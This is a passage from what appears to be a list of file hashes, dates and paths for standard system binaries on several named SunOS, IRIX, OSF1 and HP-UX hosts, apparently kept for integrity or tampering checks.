16 00:27:22 1997 /usr/sbin/in.rlogind [SunOS klink 5.6] +BE55B58A361762611E2608C64244CB32A91BDAC1 Wed Jul 16 00:27:25 1997 /usr/sbin/in.rshd [SunOS klink 5.6] +03C121FD772DF5ECBAE47DD872020E22C7C90C56 Wed Apr 21 04:31:30 1999 /usr/sbin/in.telnetd [SunOS klink 5.6] +985C5DEBED89031B3C81624A60F858B2337C5C81 Wed Jul 16 00:24:57 1997 /usr/sbin/modinfo [SunOS klink 5.6] +885AF6632A9122E64D2DBF3268185CF69CA460B9 Wed Jul 16 00:25:05 1997 /usr/sbin/modload [SunOS klink 5.6] +DC2B27CB12917AB266F50823FBD88A60C4B7B131 Wed Jul 16 00:44:42 1997 /usr/ucb/ps [SunOS klink 5.6] +7AD63564B6398CBF97B18EC8D25A0B8EBE220E92 Wed Jul 16 00:20:47 1997 /usr/sbin/fuser [SunOS klink 5.6] +6D2985D2C52E1797CEBF364833F2CDB7F246A9AB Thu Sep 7 04:33:36 2000 /usr/sbin/in.tftpd [SunOS klink 5.6] +0942E32B4AB04DF67D2F99456A0CC99706DD9B76 Thu Jan 15 12:18:46 1998 /bin/su [SunOS gazoo 5.6] +914ABD4DCFD78C8C6F8DBFC3A33DA90428E60C27 Wed Jul 16 00:31:35 1997 /usr/sbin/in.ftpd [SunOS gazoo 5.6] +098A44CA934DB1F4F2AD2C8E54FF777716850E3E Wed Jul 16 00:27:31 1997 /usr/sbin/in.tftpd [SunOS gazoo 5.6] +3D6B268220C3B4B758D46178F7E8DBA5DFB73144 Wed Jul 16 00:27:35 1997 /usr/sbin/inetd [SunOS gazoo 5.6] + +CB9653D7874FC2A98386AD7A71C9FA9B3EEE8943 Thu May 6 06:10:31 1999 /bin/compress [SunOS thing 5.7] +217B77B0579A80A2C0BDDCA47AFDE8E78D1B56C8 Thu May 6 06:09:48 1999 /bin/du [SunOS thing 5.7] +725E7803D41C21BFB334A18BE031F6D3CB2C7D96 Tue Oct 6 03:41:14 1998 /bin/find [SunOS thing 5.7] +94C3B97BEEE59AEF9F32A75E6EB3AA18DBF4B628 Tue Oct 6 03:42:33 1998 /bin/kill [SunOS thing 5.7] +DF0F6374275039659C235872352D0D112838BAB6 Tue Sep 1 07:00:38 1998 /bin/last [SunOS thing 5.7] +8BF0C03082AC78FC781C104C21F616C0444D3B4E Tue Oct 6 03:43:05 1998 /bin/ls [SunOS thing 5.7] +DE2711750C298B08DAB1B98A62984726AE4DAB07 Tue Oct 6 03:50:25 1998 /bin/netstat [SunOS thing 5.7] +6C0E2EDEE877D2C350C593BD660F6625F1DB5308 Thu Oct 14 05:27:38 1999 /bin/ps [SunOS thing 5.7] +68D05ABE0DEE5FF08AD9554528A17D4EF8AE1B65 Tue Oct 6 03:44:58 1998 /bin/rm [SunOS thing 5.7] +99668F2278A01DD90E63C6BF357E7E71834447D9 Tue Oct 6 03:45:14 1998 /bin/rpcinfo [SunOS thing 5.7] +A4395D4ED490A38B183E1CA66803FF20F8A8E125 Thu Aug 12 08:19:51 1999 /bin/sh [SunOS thing 5.7] +1FD4634C845C29269336B35FCA82CFA310569318 Tue Oct 6 03:46:04 1998 /bin/su [SunOS thing 5.7] +3F3856E5B634697DE2A63DDDC5219A06F55985E3 Tue Sep 1 07:03:48 1998 /bin/sum [SunOS thing 5.7] +D938C9DF4E306AAE747F710C419175B22190913D Mon Mar 22 10:24:25 1999 /bin/tar [SunOS thing 5.7] +16616BD460FE647B6B8AB229E91177BCF769B7DB Tue Oct 6 03:50:29 1998 /bin/telnet [SunOS thing 5.7] +CB9653D7874FC2A98386AD7A71C9FA9B3EEE8943 Thu May 6 06:10:31 1999 /bin/uncompress [SunOS thing 5.7] +6C0E2EDEE877D2C350C593BD660F6625F1DB5308 Thu Oct 14 05:27:38 1999 /bin/w [SunOS thing 5.7] +E99B0A3663DE70E24F98FB4C9A4031A9D53AA9A0 Tue Oct 6 03:47:42 1998 /bin/who [SunOS thing 5.7] +65F856330BDBAEA3ABD9210065E9036BB9D96B3C Tue Oct 6 03:48:55 1998 /usr/sbin/arp [SunOS thing 5.7] +5E7DBD84758A62DA354C30BDF2569D4745E88D35 Tue Oct 6 03:49:09 1998 /usr/sbin/inetd [SunOS thing 5.7] +4F9CC2DFC81C232C677B046288BD2BB40045CCE8 Tue Sep 1 07:08:08 1998 /usr/sbin/in.ftpd [SunOS thing 5.7] +D09A721715A989202FECAE8735BA396351FB1860 Tue Oct 6 03:48:59 1998 /usr/sbin/in.rlogind [SunOS thing 5.7] +97F6B45EBFA546AE24E4558699EBCB243807712E Tue Oct 6 03:48:59 1998 /usr/sbin/in.rshd [SunOS thing 5.7] +B5B1B6504956C6CC23E41F099F1BF9B0094BAACD Thu Jun 24 08:04:21 1999 /usr/sbin/in.telnetd [SunOS thing 5.7] +A7C4E0829E93B9CE33F0C12B237B84156CD890C9 Tue Oct 6 03:44:52 1998 /usr/sbin/modinfo [SunOS thing 5.7] +F1AAE4A046CE5B39F0AA6BE5A368320102B4FC70 Tue Oct 6 03:44:52 1998 /usr/sbin/modload [SunOS thing 5.7] +6C0E2EDEE877D2C350C593BD660F6625F1DB5308 Thu Oct 14 05:27:38 1999 /usr/ucb/ps [SunOS thing 5.7] +1F7D069A87049957876DF292F139A71219EE3599 Tue Oct 6 03:49:07 1998 /usr/sbin/in.tftpd [SunOS thing 5.7] +49E5E2FA7F8709D95F8B37C780B33BFD68DB92E0 Tue May 8 15:29:00 2001 /bin/ps [SunOS grandmama 5.7] +9599342141EC0A9789E828497266EE6A19D42CC0 Tue Oct 6 03:46:05 1998 /bin/sh [SunOS grandmama 5.7] +49E5E2FA7F8709D95F8B37C780B33BFD68DB92E0 Tue May 8 15:29:00 2001 /bin/w [SunOS grandmama 5.7] +49E5E2FA7F8709D95F8B37C780B33BFD68DB92E0 Tue May 8 15:29:00 2001 /usr/bin/w [SunOS grandmama 5.7] +1EEA8F941D984B53CF6B78E0263E5588DF1F7AA6 Tue Oct 6 03:49:06 1998 /usr/sbin/in.telnetd [SunOS grandmama 5.7] +49E5E2FA7F8709D95F8B37C780B33BFD68DB92E0 Tue May 8 15:29:00 2001 /usr/ucb/ps [SunOS grandmama 5.7] +1ED475010DBAC2DACC07B451B38326A1F39DFCBF Tue Oct 6 03:40:05 1998 /bin/ps [SunOS marvin 5.7] +1ED475010DBAC2DACC07B451B38326A1F39DFCBF Tue Oct 6 03:40:05 1998 /bin/w [SunOS marvin 5.7] +1ED475010DBAC2DACC07B451B38326A1F39DFCBF Tue Oct 6 03:40:05 1998 /usr/ucb/ps [SunOS marvin 5.7] + +83A89A42FC65DA426B43951D3C617E36B7FAD56B Wed Feb 23 06:14:23 2000 /bin/compress [SunOS itt 5.8] +C731997B67755003CFCB8B779DC7786174B60EC4 Wed Jan 5 18:53:26 2000 /bin/du [SunOS itt 5.8] +728F5123839EDB9B74D531668BA1EE1587CF4979 Wed Jan 5 18:54:36 2000 /bin/find [SunOS itt 5.8] +94C3B97BEEE59AEF9F32A75E6EB3AA18DBF4B628 Wed Jan 5 18:56:53 2000 /bin/kill [SunOS itt 5.8] +1DF6FC6A41326C05E02BACC105B7409EBAC83728 Wed Jan 5 18:56:36 2000 /bin/last [SunOS itt 5.8] +47A001414B93FE52BBEA6FAA72DE297C71B77C29 Wed Jan 5 18:57:54 2000 /bin/ls [SunOS itt 5.8] +75ABB3F66530531B7D5A47F18C44BDE33F0287F7 Wed Jan 5 19:01:00 2000 /bin/netstat [SunOS itt 5.8] +B98663191B11630D129A83D36ABFDE0E39FF1526 Wed Jan 5 18:51:20 2000 /bin/ps [SunOS itt 5.8] +3DD49A0ACFF722330462DA5ADAFB78226966871E Wed Jan 5 19:01:22 2000 /bin/rm [SunOS itt 5.8] +8D74AC7FBAB2EB5DD373242FF9C28AD9B2535307 Wed Jan 5 19:01:30 2000 /bin/rpcinfo [SunOS itt 5.8] +BF95D346262013D7D166A4CB5C253B58644AF8E1 Wed Jan 5 19:02:30 2000 /bin/sh [SunOS itt 5.8] +A4200961663CD196E8BE0911A41A9F756A1BBE59 Thu Mar 9 20:25:00 2000 /bin/su [SunOS itt 5.8] +EB003F0DE747444B76A45574111A0D13F306DE9F Wed Jan 5 19:03:13 2000 /bin/sum [SunOS itt 5.8] +0AB43DA6F3FF059049709808CD8A5B84F531A12A Wed Jan 5 19:05:03 2000 /bin/tar [SunOS itt 5.8] +C2D0E1EE2B62A216F934D68594FFBBEE3676F208 Wed Jan 5 19:01:10 2000 /bin/telnet [SunOS itt 5.8] +83A89A42FC65DA426B43951D3C617E36B7FAD56B Wed Feb 23 06:14:23 2000 /bin/uncompress [SunOS itt 5.8] +B98663191B11630D129A83D36ABFDE0E39FF1526 Wed Jan 5 18:51:20 2000 /bin/w [SunOS itt 5.8] +484FE7FAF02C3A66FEC9C11D99E98420C1DA8533 Wed Jan 5 19:25:57 2000 /bin/who [SunOS itt 5.8] +4531864BACDFA7CFB0EB5CD303B0C2813C4222D9 Wed Jan 5 19:01:56 2000 /usr/sbin/arp [SunOS itt 5.8] +5BF76D312BCD815402F523642545287B6D9C7600 Wed Jan 5 19:01:59 2000 /usr/sbin/inetd [SunOS itt 5.8] +61CEF50ED03A3ABD76EECCE80DA60435A17ADEDC Wed Jan 5 18:53:54 2000 /usr/sbin/in.ftpd [SunOS itt 5.8] +3B4DEF7F56556EF4F1A5BFE78BB5069F835B374B Wed Jan 5 19:01:58 2000 /usr/sbin/in.rlogind [SunOS itt 5.8] +01FFA7CFF7A4A5F4252666FB939D48A44597D2F8 Thu Mar 9 20:23:44 2000 /usr/sbin/in.rshd [SunOS itt 5.8] +B675FCF46C837290D98743E2B1C1AFA8575D1589 Wed Jan 5 19:01:59 2000 /usr/sbin/in.telnetd [SunOS itt 5.8] +8922A3BA2C44D2D1132D369447D1EBD48194AB5A Wed Jan 5 18:59:21 2000 /usr/sbin/modinfo [SunOS itt 5.8] +A9F1EEFC40465B2E4BADA8A8DF7120C97B813E55 Wed Jan 5 18:59:22 2000 /usr/sbin/modload [SunOS itt 5.8] +B98663191B11630D129A83D36ABFDE0E39FF1526 Wed Jan 5 18:51:20 2000 /usr/ucb/ps [SunOS itt 5.8] + +8951F8D61A110AF9481C4621175B8CA06CAF45FF Wed Oct 25 07:00:19 1995 /bin/compress [SunOS elsa 5.5] +15594F3BA7C41C3482641BA710828AD0CD00E6C0 Wed Oct 25 07:01:43 1995 /bin/du [SunOS elsa 5.5] +7B2CE01173F19514032FA500A11E88EBD8892DDF Wed Oct 25 07:02:46 1995 /bin/find [SunOS elsa 5.5] +94C3B97BEEE59AEF9F32A75E6EB3AA18DBF4B628 Wed Oct 25 07:07:42 1995 /bin/kill [SunOS elsa 5.5] +06ABDA2123985D5BA47CB7C0274C5BFCAC4E8AD5 Wed Oct 25 07:05:32 1995 /bin/last [SunOS elsa 5.5] +464ADA16B4AEE84DC80E5F0B1513030E377431F3 Wed Oct 25 07:07:48 1995 /bin/ls [SunOS elsa 5.5] +6FA0EDEA8C9E77693BEB504A26C27EF6CBF22B51 Fri Apr 23 09:37:13 1999 /bin/netstat [SunOS elsa 5.5] +A235A7B68F3EB38EB6B1DD66D5E53F5EAB409B88 Fri Apr 23 09:59:06 1999 /bin/ps [SunOS elsa 5.5] +46B0EB976F7EA1D6B81D2605F4E8369CC9F530C3 Wed Oct 25 07:12:25 1995 /bin/rm [SunOS elsa 5.5] +8551ABDE9B69B334B3BCD30AC481EABC8C78593A Wed Oct 25 07:12:44 1995 /bin/rpcinfo [SunOS elsa 5.5] +5D2681EE766501BF8B783F881895479F9C4E38FB Wed Oct 25 07:16:47 1995 /bin/sh [SunOS elsa 5.5] +8C91AF7639B7D629B7F078AD39FFFFE9ECF9119A Tue Feb 10 17:59:07 1998 /bin/su [SunOS elsa 5.5] +DF8D5137A459251468DFE8AE96EA1AC1B8146E77 Wed Oct 25 07:15:22 1995 /bin/sum [SunOS elsa 5.5] +C87B7DCDAC8C7134FD02F92C1A9E1481CD92ACF6 Wed Oct 25 07:17:13 1995 /bin/tar [SunOS elsa 5.5] +9D2D14C407BF726EC12E33338A0CB791EF3C2AC0 Wed Oct 25 07:12:12 1995 /bin/telnet [SunOS elsa 5.5] +8951F8D61A110AF9481C4621175B8CA06CAF45FF Wed Oct 25 07:00:19 1995 /bin/uncompress [SunOS elsa 5.5] +72A2C7D738CCBA0F60FBA02BE807BB6826783481 Wed Oct 25 07:19:17 1995 /bin/w [SunOS elsa 5.5] +9B2A899C4777CDE7587436B82C9232CA43439807 Wed Oct 25 07:20:26 1995 /bin/who [SunOS elsa 5.5] +B275DE003BE72A87473338F593B9E1DA2991197D Wed Oct 25 07:06:17 1995 /usr/sbin/arp [SunOS elsa 5.5] +0C16C788D7EDEEA6DFDEAE316EE7C846105C2E3B Fri Apr 23 09:46:44 1999 /usr/sbin/inetd [SunOS elsa 5.5] +1F082862C9D960911FFAE4867D226041D9F42736 Tue Dec 15 01:50:45 1998 /usr/sbin/in.ftpd [SunOS elsa 5.5] +676F99C1B52B8ACAC0CE67962D6C6723BD771B72 Fri Apr 23 09:55:45 1999 /usr/sbin/in.rlogind [SunOS elsa 5.5] +6B6634869781168A483C323D3F02EACE039A3F06 Tue Dec 15 01:50:46 1998 /usr/sbin/in.rshd [SunOS elsa 5.5] +51F90D71FE09347DD6ECFA17C881F10B2DC98A65 Wed Oct 25 07:06:23 1995 /usr/sbin/in.telnetd [SunOS elsa 5.5] +D10909733A25E46CAC8D98DA642EDDB391A84941 Wed Oct 25 07:10:07 1995 /usr/sbin/modinfo [SunOS elsa 5.5] +A57A86BFC9B085C46402460225AB5C5F5FE5CAEE Wed Oct 25 07:10:08 1995 /usr/sbin/modload [SunOS elsa 5.5] +A19888EDB61939E8A1D1D3FE831BF15031C18B17 Fri Apr 23 09:59:19 1999 /usr/ucb/ps [SunOS elsa 5.5] + +56D9D54B47B8A4364775ED220BAFAF6B19D97BE2 Fri Jul 15 23:40:05 1994 /bin/compress [SunOS judy 5.4] +1C9781142ADC819FD5A91DC864C5F82DEC828C46 Fri Jul 15 23:59:31 1994 /bin/du [SunOS judy 5.4] +0FC8CDE41A89F6AF4971DDCDF5762DBCA1A77B17 Sat Jul 16 00:01:34 1994 /bin/find [SunOS judy 5.4] +20EF44CACA6961BCE72A28DB56DAE7B2C7560A43 Sat Jul 16 00:13:07 1994 /bin/kill [SunOS judy 5.4] +DFA275E9C7D646A635F80CB37F65658B5632CB32 Sat Jul 16 00:13:44 1994 /bin/last [SunOS judy 5.4] +0A4A04B73DD35C58E80D3EEA196D99B0F8A85956 Sat Jul 16 00:15:38 1994 /bin/ls [SunOS judy 5.4] +BE176E97C948864AA53D9709287CFF1123A30F68 Fri Jul 15 23:53:58 1994 /bin/netstat [SunOS judy 5.4] +0098CD4D84047E80A9A70FDC6E7A65FAC5920670 Sat Jul 16 00:25:19 1994 /bin/ps [SunOS judy 5.4] +02EFD1E06AD14D05BA78B2D6C9257BFAD3C5737E Sat Jul 16 00:25:55 1994 /bin/rm [SunOS judy 5.4] +4AF5860CDD39DABF9B761421CBDB9CB15EBB3D25 Sat Jul 16 00:26:41 1994 /bin/rpcinfo [SunOS judy 5.4] +2AA7F81089043AF048DD9FB2AD4BF0771D916427 Sat Jul 16 00:31:25 1994 /bin/sh [SunOS judy 5.4] +429894E6E6A5862E94D32C6E10E829728E0D845A Sat Jul 16 00:39:22 1994 /bin/su [SunOS judy 5.4] +56736992289CEEC0E1D4F1FCD861F50630EB189A Sat Jul 16 00:39:24 1994 /bin/sum [SunOS judy 5.4] +80697F96DD50818F27D7A2541A39344EDEC6268E Sat Jul 16 00:42:19 1994 /bin/tar [SunOS judy 5.4] +C7DA2A1D0706ED5EE9F5121329023C047BD3AB51 Fri Jul 15 23:53:43 1994 /bin/telnet [SunOS judy 5.4] +56D9D54B47B8A4364775ED220BAFAF6B19D97BE2 Fri Jul 15 23:40:05 1994 /bin/uncompress [SunOS judy 5.4] +13ECA04C90B54E32F81578ABC3B64A194B8E005D Sat Jul 16 00:44:58 1994 /bin/w [SunOS judy 5.4] +57C8A683B84F394B8AA0137AE6EF87CE367784B5 Sat Jul 16 00:45:57 1994 /bin/who [SunOS judy 5.4] +535D275CDA7800EC646707D8A8D7BF60A47C72AE Fri Jul 15 23:49:21 1994 /usr/sbin/arp [SunOS judy 5.4] +AE682F4E4C584E32A579C5AE14D2B4E0DD37C23F Fri Jul 15 23:49:31 1994 /usr/sbin/inetd [SunOS judy 5.4] +1D936CF9CCBFF037CC109397AF6E9FB4307B55E7 Fri Jul 15 23:54:18 1994 /usr/sbin/in.ftpd [SunOS judy 5.4] +EB0181C8118A65C500DAA6E9A977A8B7DAD99111 Fri Jul 15 23:49:26 1994 /usr/sbin/in.rlogind [SunOS judy 5.4] +92D7C8DEAEE58C74AF9AD6DD496DBB6C54F9AAF9 Fri Jul 15 23:49:27 1994 /usr/sbin/in.rshd [SunOS judy 5.4] +5905439A9D9FF53D32662548D8EE46CCB5EB42B8 Fri Jul 15 23:49:29 1994 /usr/sbin/in.telnetd [SunOS judy 5.4] +8A873DB5844B8381708C8D9CBB33CDBD6300F9E2 Sat Jul 16 00:23:33 1994 /usr/sbin/modinfo [SunOS judy 5.4] +30B594C6192621B296B8A375742AAB4871D6461F Sat Jul 16 00:23:34 1994 /usr/sbin/modload [SunOS judy 5.4] +539BD6C4A652FCDFCDE4D302A4771A1AECF2CBFC Sat Jul 16 01:06:23 1994 /usr/ucb/ps [SunOS judy 5.4] +8DDE5C8081195A8B0CA184EE6A9DB76AFA5FE34E Sat Jul 16 00:09:21 1994 /usr/sbin/fuser [SunOS judy 5.4] + +671B33F9AFDDCD61B216A2864D8E37DA372C4314 Mon Sep 27 09:17:22 1993 /bin/compress [SunOS jane 5.3] +B290453279EBB86EC4A980BE6762EBDA35D276D7 Mon Sep 27 09:39:14 1993 /bin/du [SunOS jane 5.3] +403B7DC2436887092A2815806103F43E4E1DEC7C Mon Sep 27 09:44:41 1993 /bin/find [SunOS jane 5.3] +20EF44CACA6961BCE72A28DB56DAE7B2C7560A43 Mon Sep 27 10:13:40 1993 /bin/kill [SunOS jane 5.3] +FACF7ED1746C4FE4A88B3809EDFDD69B9DF4BF29 Mon Sep 27 10:16:17 1993 /bin/last [SunOS jane 5.3] +CB4E9B3A9E1A7080619884AD23737492B76CB1A3 Mon Sep 27 10:21:01 1993 /bin/ls [SunOS jane 5.3] +887DA2CC4E883582959FADCABF3015D8D369E462 Mon Sep 27 09:08:30 1993 /bin/netstat [SunOS jane 5.3] +CDE48FAB8D23CE02DD29EAC63AA78B844E56E67E Mon Sep 27 10:37:44 1993 /bin/ps [SunOS jane 5.3] +FDB8CA737EC5D1BBB1259018DF0A383986F53EA3 Mon Sep 27 10:40:38 1993 /bin/rm [SunOS jane 5.3] +8D4E8F06C05420C1C5E51324B751CB446B088968 Mon Sep 27 10:42:25 1993 /bin/rpcinfo [SunOS jane 5.3] +300551AEC27A270CCB17CDC7F7182828EB448216 Mon Sep 27 11:10:21 1993 /bin/sh [SunOS jane 5.3] +D3F0BD759DC33A86EF95EA526DAFC3B3FAED1728 Mon Sep 27 11:12:42 1993 /bin/su [SunOS jane 5.3] +1ED65EA9C3D30B5829A88F6F835B74765A3E955E Mon Sep 27 11:12:56 1993 /bin/sum [SunOS jane 5.3] +6BB501E2426DF7326213E572E8325EE9E919281F Mon Sep 27 11:14:59 1993 /bin/tar [SunOS jane 5.3] +82D9BCA3BDBD9237B4E95FD32040F47BA751818A Mon Sep 27 09:08:27 1993 /bin/telnet [SunOS jane 5.3] +671B33F9AFDDCD61B216A2864D8E37DA372C4314 Mon Sep 27 09:17:22 1993 /bin/uncompress [SunOS jane 5.3] +19D06F014E94AC99AE390EC8D03C7DC68981EE4D Mon Sep 27 11:34:22 1993 /bin/w [SunOS jane 5.3] +588E8CD67B5A3148E0E46244CD630CFD7083E3CA Mon Sep 27 11:34:39 1993 /bin/who [SunOS jane 5.3] +3F990DDC14FF40B5E529332A9C85116E4EED0C76 Mon Sep 27 09:10:50 1993 /usr/sbin/arp [SunOS jane 5.3] +67C30186BD1943ACA26E310EB30482B1B3BD8107 Mon Sep 27 09:10:52 1993 /usr/sbin/inetd [SunOS jane 5.3] +34AADBCCFCD675B660F9B2E1D977BC77ADA78DF8 Mon Sep 27 09:12:05 1993 /usr/sbin/in.ftpd [SunOS jane 5.3] +7EC847B346526A9CD2C645FBC79EBF85B01D683C Mon Sep 27 09:10:51 1993 /usr/sbin/in.rlogind [SunOS jane 5.3] +F7F3C836738030C32D4DE3F705545FBF10337AC0 Mon Sep 27 09:10:52 1993 /usr/sbin/in.rshd [SunOS jane 5.3] +06B8A9FC811E75F3A483F8385657F046F9DD0CC4 Mon Sep 27 09:10:52 1993 /usr/sbin/in.telnetd [SunOS jane 5.3] +2CFEA72414FECABEAB138B1CD773EDEEDBA1C245 Mon Sep 27 10:27:20 1993 /usr/sbin/modinfo [SunOS jane 5.3] +2110394A53F20A1750D76DA0BB7DBED57D8E5EAF Mon Sep 27 10:27:21 1993 /usr/sbin/modload [SunOS jane 5.3] +EBB05AEFEED665E4CC8AB8F2017ABEB9760D6695 Mon Sep 27 12:14:49 1993 /usr/ucb/ps [SunOS jane 5.3] +CFA7BFC5FC07E853D2CD9109A4D52C9A712F9CC6 Mon Sep 27 09:10:52 1993 /usr/sbin/in.tftpd [SunOS jane 5.3] +A68CD401D88442D8F0666E3CD8B4E665FA240AEE Mon Sep 27 10:08:10 1993 /usr/sbin/fuser [SunOS jane 5.3] + +6174479DE402E063A03AF2997032941273377D49 Sat Jun 8 03:48:25 1996 /usr/bsd/compress [IRIX jupiter 5.3] +7659AF4A80C4F0066F188990D0FA095DBC1D970F Sat Jun 8 03:48:17 1996 /bin/du [IRIX jupiter 5.3] +9B4E17714182023C8CEA8AE5D0C6E71F8D0B5955 Sat Jun 8 03:48:05 1996 /bin/find [IRIX jupiter 5.3] +4D664094DBBD92155E0F28C980BCE153020BE000 Mon Feb 12 23:46:38 1996 /bin/kill [IRIX jupiter 5.3] +E992FD7A3B4223FAD982FF8A6BB1012DC53BC2CF Sat Jun 8 03:48:26 1996 /usr/bsd/last [IRIX jupiter 5.3] +5C1F56DA76BEEBBE483B1245B6584F5C44124DAF Sat Jun 8 03:48:07 1996 /bin/ls [IRIX jupiter 5.3] +3BC9ADB1CAC5E474E3533DF80799CEFF4349AD36 Sat Jun 8 03:49:05 1996 /usr/etc/netstat [IRIX jupiter 5.3] +7EC8638931278F3DA1E19BE55C3EF3AA848F0598 Sat Jun 8 03:48:09 1996 /bin/ps [IRIX jupiter 5.3] +018BA55249A285C3C994F777AF12E1A7A5775568 Sat Jun 8 03:48:11 1996 /bin/rm [IRIX jupiter 5.3] +617D5BD2890E902C61FE02E3AE1D4680120D60FD Sat Jun 8 03:48:31 1996 /usr/etc/rpcinfo [IRIX jupiter 5.3] +5CCA78997ECE7C44E6F8C60D0E6ADA6FA451DCEF Mon Feb 12 23:46:29 1996 /bin/sh [IRIX jupiter 5.3] +0BD47846D31B24FD91194577EE0BCB80AB026E88 Sat Jun 8 03:48:12 1996 /bin/su [IRIX jupiter 5.3] +CE3190CC717E91D14BB44E5E828E4AEEE8906BD9 Sat Jun 8 03:48:23 1996 /bin/sum [IRIX jupiter 5.3] +D6B73DAD20E2C4CA0723BE5AD1319DEEEEB78217 Sat Jun 8 03:48:12 1996 /bin/tar [IRIX jupiter 5.3] +F39302BFFB5A1EAD6984D443A420D96E05DFDEC9 Sat Jun 8 03:49:02 1996 /usr/bsd/telnet [IRIX jupiter 5.3] +6174479DE402E063A03AF2997032941273377D49 Sat Jun 8 03:48:25 1996 /usr/bsd/uncompress [IRIX jupiter 5.3] +C3F0DDE0450394D3210AD5EEC7126268B9DC6B5C Sat Jun 8 03:48:27 1996 /usr/bsd/w [IRIX jupiter 5.3] +197B38FDA2193498117BF99B0414680CA5932A33 Sat Jun 8 03:48:13 1996 /bin/who [IRIX jupiter 5.3] +EC270F2C1927CA0938030FA442E64B6A5D1CF235 Sat Jun 8 03:48:29 1996 /usr/etc/arp [IRIX jupiter 5.3] +860B917EE272A8F7C96CCA86E571580A9A6823EB Sat Jun 8 03:48:29 1996 /usr/etc/inetd [IRIX jupiter 5.3] +4D2F403E1764207464BFECF4EFC5839F2C8DA61E Sat Jun 8 03:49:04 1996 /usr/etc/ftpd [IRIX jupiter 5.3] +C6604FEC939BE7029276710D88C81F03C5FDABD5 Sat Jun 8 03:48:31 1996 /usr/etc/rlogind [IRIX jupiter 5.3] +CC127F2C7033740300A54857CA7811C9ECE585CA Sat Jun 8 03:48:32 1996 /usr/etc/rshd [IRIX jupiter 5.3] +6FAFAC515A2F5CE8EFBA999BF6A21672481FEF3D Sat Jun 8 03:49:05 1996 /usr/etc/telnetd [IRIX jupiter 5.3] +31B9A7E2F6AF07F0CA55DEEEA9F395F7D112F2C3 Sat Jun 8 03:48:06 1996 /sbin/fuser [IRIX jupiter 5.3] + +E8FC770993E3967BD9F11DC93690A804543B7E30 Mon Apr 12 12:41:16 1999 /bin/compress [OSF1 dorothy V4F] +88F782898710045A26DD36BA7D2B8E32FDEE1B60 Mon Apr 12 12:43:21 1999 /bin/du [OSF1 dorothy V4F] +88A104094658CEE7B9CED9F68D5D82F3638ECA7B Mon Apr 12 12:43:52 1999 /bin/find [OSF1 dorothy V4F] +78C49EC191660E42511169921B6493C5A3A25B78 Mon Apr 12 12:36:44 1999 /bin/kill [OSF1 dorothy V4F] +4B66CE435953ADC3F17A9F5AE978035507BABD76 Mon Apr 12 12:48:58 1999 /bin/last [OSF1 dorothy V4F] +5AA9F6039C923BC3D16CA35E0A74C0348DA370DD Mon Apr 12 12:49:55 1999 /bin/ls [OSF1 dorothy V4F] +958AAC5D895195645F0DD7C97A2253798C9AAF19 Mon Apr 12 12:37:10 1999 /bin/ps [OSF1 dorothy V4F] +70046C7DEBDAE41A39AC1AF9185D430F25F2EE0A Mon Apr 12 12:58:22 1999 /bin/rm [OSF1 dorothy V4F] +87B82A4872934813246BABE2B559CEDD60325E46 Mon Apr 12 13:00:40 1999 /bin/sh [OSF1 dorothy V4F] +CE6EFA8B829CAEEB17F7C8390CDCCADD211B34EC Mon Apr 12 12:37:14 1999 /bin/su [OSF1 dorothy V4F] +299AC99EBC3F8154823C66A18133FB7B8C01FB36 Mon Apr 12 13:01:08 1999 /bin/sum [OSF1 dorothy V4F] +7F4383246FE9F9467F9D5A71BF8D5A8C8E814795 Mon Apr 12 12:56:33 1999 /bin/tar [OSF1 dorothy V4F] +4A6BB8090D98F083435C2DF47A653602FBD04F27 Mon Apr 12 13:02:02 1999 /bin/telnet [OSF1 dorothy V4F] +E8FC770993E3967BD9F11DC93690A804543B7E30 Mon Apr 12 12:41:16 1999 /bin/uncompress [OSF1 dorothy V4F] +BDE53F5AAD7E2173AFC41B69555BAE28CADC4781 Mon Apr 12 12:37:23 1999 /bin/w [OSF1 dorothy V4F] +46B7C3A9CF5EBD057B9F6CF7CC555AD8AD7AC4E7 Mon Apr 12 13:05:13 1999 /bin/who [OSF1 dorothy V4F] +EB705FCBD700DD90FC05FE554AB913315FFEBF81 Mon Apr 12 12:34:33 1999 /usr/sbin/arp [OSF1 dorothy V4F] +89F9B24AB226A1DB5787A7229AE10BB179507EFB Thu May 11 16:06:15 2000 /usr/sbin/inetd(dorked) [OSF1 dorothy V4F] +958AAC5D895195645F0DD7C97A2253798C9AAF19 Mon Apr 12 12:37:10 1999 /usr/ucb/ps [OSF1 dorothy V4F] +7A3C72A3EF533B50BCD404D28B1DFE5A435454D9 Mon Apr 12 12:59:02 1999 /usr/sbin/netstat [OSF1 dorothy V4F] +1AE8428FFA5BA703466B01CD30E735FDF0AC73AC Mon Apr 12 13:03:01 1999 /usr/sbin/rpcinfo [OSF1 dorothy V4F] +5CB4E0F1CD5C0BE478E94FD3D146F83C0921ABC2 Mon Apr 12 12:49:30 1999 /usr/sbin/ftpd [OSF1 dorothy V4F] +8C7C13ED82EE30BA3C5DB7404CAB42079A3EF283 Thu Jan 20 13:33:22 2000 /usr/sbin/telnetd [OSF1 dorothy V4F] +2FF2F982595651194260F126E4760B4C7101DAB1 Mon Apr 12 12:38:42 1999 /usr/sbin/rshd [OSF1 dorothy V4F] +0BE7825D0D5F2CDC5876B6FB11DF468B93278B72 Mon Apr 12 13:01:55 1999 /usr/sbin/rlogind [OSF1 dorothy V4F] + +9049C8A59E43ABCF7C8B6ABB71B997156F6C6A9A Mon Jun 10 03:00:00 1996 /bin/compress [HP-UX 10.20 sluggo] +4EBC22F8E8034C15F490A544E6510C2CAFA8FDB4 Mon Jun 10 03:00:00 1996 /bin/du [HP-UX 10.20 sluggo] +E26F8E8EDF619267412F00AC1D514994D899A7E9 Mon Jun 10 03:00:00 1996 /bin/find [HP-UX 10.20 sluggo] +02AC05AD32F518C932A37BECCCB00C50FB764003 Mon Jun 10 03:00:00 1996 /bin/kill [HP-UX 10.20 sluggo] +504E066B51871EB4FE98CD517198B1195925A646 Mon Jun 10 03:00:00 1996 /bin/last [HP-UX 10.20 sluggo] +0A6D4AD9E5F66333CBDFDD8257E5FE398FE7CA91 Mon Jun 10 03:00:00 1996 /bin/ls [HP-UX 10.20 sluggo] +B382E72EA4B011F8DFF94C81FE3E7BA75BD9165F Mon Jun 10 03:00:00 1996 /bin/netstat [HP-UX 10.20 sluggo] +4188D12C95C72F8337779D520FCB5908A0836C4E Mon Jun 10 03:00:00 1996 /bin/ps [HP-UX 10.20 sluggo] +77FE8E4EE0BBBC2039B025B54A0B03812391E049 Mon Jun 10 03:00:00 1996 /bin/rm [HP-UX 10.20 sluggo] +0AA711C4AC06FE41C18D4D1AC5459DC951E42DC1 Thu May 30 03:00:00 1996 